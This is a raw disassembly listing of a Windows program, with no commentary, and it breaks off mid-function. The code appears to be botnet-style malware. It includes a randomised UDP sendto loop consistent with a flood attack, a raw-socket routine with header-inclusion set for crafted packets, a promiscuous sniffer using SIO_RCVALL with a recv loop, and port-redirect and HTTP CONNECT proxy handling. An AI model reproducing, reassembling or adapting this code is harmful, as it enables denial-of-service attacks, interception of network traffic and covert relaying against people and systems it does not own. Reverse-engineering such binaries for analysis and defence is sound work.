arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_436840
		push	esi
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427821
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_42781A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_42781A:				; CODE XREF: sub_4277C0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_427821:				; CODE XREF: sub_4277C0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_50FABC
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_42785D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42785D:				; CODE XREF: sub_4277C0+77j
		push	esi
		call	near ptr 71AB2B66h
		nop
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_42787B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42787B:				; CODE XREF: sub_4277C0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_42788E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_42788E:				; CODE XREF: sub_4277C0+9Bj
					; sub_4277C0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_4278A4
		mov	[esp+28h+arg_FFE4], 1


loc_4278A4:				; CODE XREF: sub_4277C0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_4278DE


loc_4278CB:				; CODE XREF: sub_4277C0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_4278CB


loc_4278DE:				; CODE XREF: sub_4277C0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_427970
		mov	ebp, dword_50FC5C


loc_4278F6:				; CODE XREF: sub_4277C0+1AEj
		mov	al, byte_4D64F9
		test	al, al
		jz	short loc_427970
		mov	esi, 0Bh


loc_427904:				; CODE XREF: sub_4277C0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 28302B0h
		dec	esi
		jnz	short loc_427904
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_42795B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_42795B:				; CODE XREF: sub_4277C0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_4278F6


loc_427970:				; CODE XREF: sub_4277C0+12Aj
					; sub_4277C0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_4277C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4279F0	proc near		; CODE XREF: sub_40207Cj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A28
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_427A4D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A4D:				; CODE XREF: sub_4279F0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427A6D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A6D:				; CODE XREF: sub_4279F0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		call	near ptr 71AB2C69h
		nop
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_4279F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427AD0	proc near		; CODE XREF: sub_401D9Dj

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40187F
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_446F70
		mov	eax, edi


loc_427B37:				; CODE XREF: sub_427AD0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_427B5B
		test	cl, cl
		jz	short loc_427B57
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_427B5B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_427B37


loc_427B57:				; CODE XREF: sub_427AD0+71j
		xor	eax, eax
		jmp	short loc_427B60
; ---------------------------------------------------------------------------


loc_427B5B:				; CODE XREF: sub_427AD0+6Dj
					; sub_427AD0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_427B60:				; CODE XREF: sub_427AD0+89j
		cmp	eax, ebx
		jnz	short loc_427BB3
		mov	ebp, dword_4D6107
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_427B77
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BBE


loc_427B77:				; CODE XREF: sub_427AD0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		call	near ptr 71AB4FD4h
		nop
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_427BBE
; ---------------------------------------------------------------------------


loc_427BB3:				; CODE XREF: sub_427AD0+92j
		push	edi
		call	sub_40187F
		add	esp, 4
		mov	ebp, eax


loc_427BBE:				; CODE XREF: sub_427AD0+A5j
					; sub_427AD0+E1j
		cmp	ebp, ebx
		jz	short loc_427BC7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BCD


loc_427BC7:				; CODE XREF: sub_427AD0+F0j
		mov	ebp, dword_4D6107


loc_427BCD:				; CODE XREF: sub_427AD0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_427D0D
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		call	near ptr 71AB3E00h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_427CF3
		mov	ebx, dword_50FC90


loc_427C63:				; CODE XREF: sub_427AD0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_427CE3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_427CBE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_427CDB
; ---------------------------------------------------------------------------


loc_427CBE:				; CODE XREF: sub_427AD0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_427CE3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_427CDB:				; CODE XREF: sub_427AD0+1ECj
		call	sub_40207C
		add	esp, 8


loc_427CE3:				; CODE XREF: sub_427AD0+1C0j
					; sub_427AD0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_427C63


loc_427CF3:				; CODE XREF: sub_427AD0+187j
		mov	edx, dword_50FA84
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_427D0D:				; CODE XREF: sub_427AD0+11Dj
					; sub_427AD0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_427AD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427DC0	proc near		; CODE XREF: sub_401889j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_444F40
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E12C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427E30	proc near		; CODE XREF: sub_401F82j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427E30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427EF0	proc near		; CODE XREF: sub_40179Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427EF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427EF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427FC0:				; CODE XREF: ___:00401A14j
					; ___:loc_402068j
		push	esi
		mov	esi, ecx
		call	sub_40179E
		test	byte ptr [esp+8], 1
		jz	short loc_427FD8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427FD8:				; CODE XREF: ___:00427FCDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FF0	proc near		; CODE XREF: ___:00401096j sub_401C2Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015F5
		test	[esp+4+arg_0], 1
		jz	short loc_428008
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428008:				; CODE XREF: sub_427FF0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427FF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428020	proc near		; CODE XREF: sub_4015F5j
		jmp	sub_40179E
sub_428020	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428040	proc near		; CODE XREF: sub_4015AFj
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_401D9D
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_428040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428160	proc near		; CODE XREF: sub_401884j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401F82
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_401424
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43E14C
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015D7
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_428160	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428220	proc near		; CODE XREF: ___:00401E15j sub_4021B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BD1
		test	[esp+4+arg_0], 1
		jz	short loc_428238
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428238:				; CODE XREF: sub_428220+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428220	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428250	proc near		; CODE XREF: sub_401BD1j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_50FC88
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43E14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42826E
		push	eax
		call	edi	; closesocket


loc_42826E:				; CODE XREF: sub_428250+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42827C
		push	eax
		call	edi	; closesocket


loc_42827C:				; CODE XREF: sub_428250+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_40179E
		pop	edi
		pop	esi
		retn
sub_428250	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282C0	proc near		; CODE XREF: sub_401D2Aj

var_B0		= byte ptr -0B0h
var_AA		= byte ptr -0AAh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_5C		= byte ptr -5Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_C		= byte ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_C		= byte ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_24		= byte ptr  28h
arg_28		= byte ptr  2Ch
arg_34		= byte ptr  38h
arg_3C		= byte ptr  40h
arg_40		= byte ptr  44h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_4A		= word ptr  4Eh
arg_4C		= dword	ptr  50h
arg_50		= dword	ptr  54h
arg_54		= dword	ptr  58h
arg_58		= dword	ptr  5Ch
arg_64		= byte ptr  68h
arg_68		= byte ptr  6Ch
arg_6C		= byte ptr  70h
arg_91		= byte ptr  95h
arg_98		= byte ptr  9Ch
arg_9D		= byte ptr  0A1h
arg_AD		= byte ptr  0B1h
arg_D0		= dword	ptr  0D4h
arg_D4		= byte ptr  0D8h
arg_E0		= dword	ptr  0E4h
arg_E4		= byte ptr  0E8h
arg_EC		= dword	ptr  0F0h
arg_F0		= byte ptr  0F4h
arg_FC		= byte ptr  100h
arg_108		= byte ptr  10Ch
arg_12C		= byte ptr  130h
arg_150		= byte ptr  154h
arg_15C		= byte ptr  160h
arg_180		= byte ptr  184h
arg_18C		= byte ptr  190h
arg_1A4		= byte ptr  1A8h
arg_1B0		= byte ptr  1B4h
arg_1F8		= byte ptr  1FCh
arg_210		= byte ptr  214h
arg_228		= byte ptr  22Ch
arg_230		= byte ptr  234h
arg_240		= byte ptr  244h
arg_244		= dword	ptr  248h
arg_248		= dword	ptr  24Ch
arg_24C		= dword	ptr  250h
arg_258		= byte ptr  25Ch
arg_374		= byte ptr  378h
arg_3EC		= byte ptr  3F0h
arg_3FC		= byte ptr  400h
arg_40C		= byte ptr  410h
arg_41C		= byte ptr  420h
arg_42C		= byte ptr  430h
arg_43C		= byte ptr  440h
arg_44C		= byte ptr  450h
arg_45C		= byte ptr  460h
arg_478		= byte ptr  47Ch
arg_4478	= byte ptr  447Ch
arg_53D0	= dword	ptr  53D4h
arg_53E0	= dword	ptr  53E4h
arg_5434	= byte ptr  5438h
arg_5444	= byte ptr  5448h
arg_544C	= dword	ptr  5450h
arg_5454	= dword	ptr  5458h
arg_5480	= dword	ptr  5484h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BA92
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	[esp+1Ch+var_A], 0


loc_4282F8:				; CODE XREF: sub_4282C0+FC6j
		lea	ecx, [esp+1Ch+arg_98]
		call	sub_401B36
		lea	ecx, [esp+1Ch+var_8]
		mov	[esp+1Ch+arg_5480], 0
		mov	[esp+1Ch+var_9], 0
		call	sub_401424
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_374]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+2Ch+arg_5480], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429310
		lea	edx, [esp+1Ch+arg_374]
		lea	ecx, [esp+1Ch+arg_10]
		push	edx
		call	sub_401861
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_10]
		mov	byte ptr [esp+20h+arg_5480], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4283B0
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_429280
; ---------------------------------------------------------------------------


loc_4283B0:				; CODE XREF: sub_4282C0+B4j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_210]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset off_445258
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 3
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_210]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428475
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_1F8]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		mov	[esp+28h+var_9], 1
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_98]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+20h+arg_5480], 4
		call	sub_4017E4
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+1Ch+arg_1F8]
		test	al, al
		setz	bl
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset aHttp	; "http"
		lea	ecx, [esp+20h+arg_98]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4292FF
		jmp	loc_42866A
; ---------------------------------------------------------------------------


loc_428475:				; CODE XREF: sub_4282C0+137j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_228]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 5
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_228]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42866A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+20h+arg_98]
		mov	[esp+20h+var_9], 0
		call	sub_4015D7
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_F0]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_108]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+20h+arg_150]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 6
		call	sub_4016AE
		push	eax
		lea	ecx, [esp+20h+arg_AD]
		mov	byte ptr [esp+20h+arg_5480], 7
		call	sub_401FBE
		lea	ecx, [esp+1Ch+arg_150]
		mov	byte ptr [esp+1Ch+arg_5480], 6
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_108]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_258]
		push	1
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_180]
		push	1
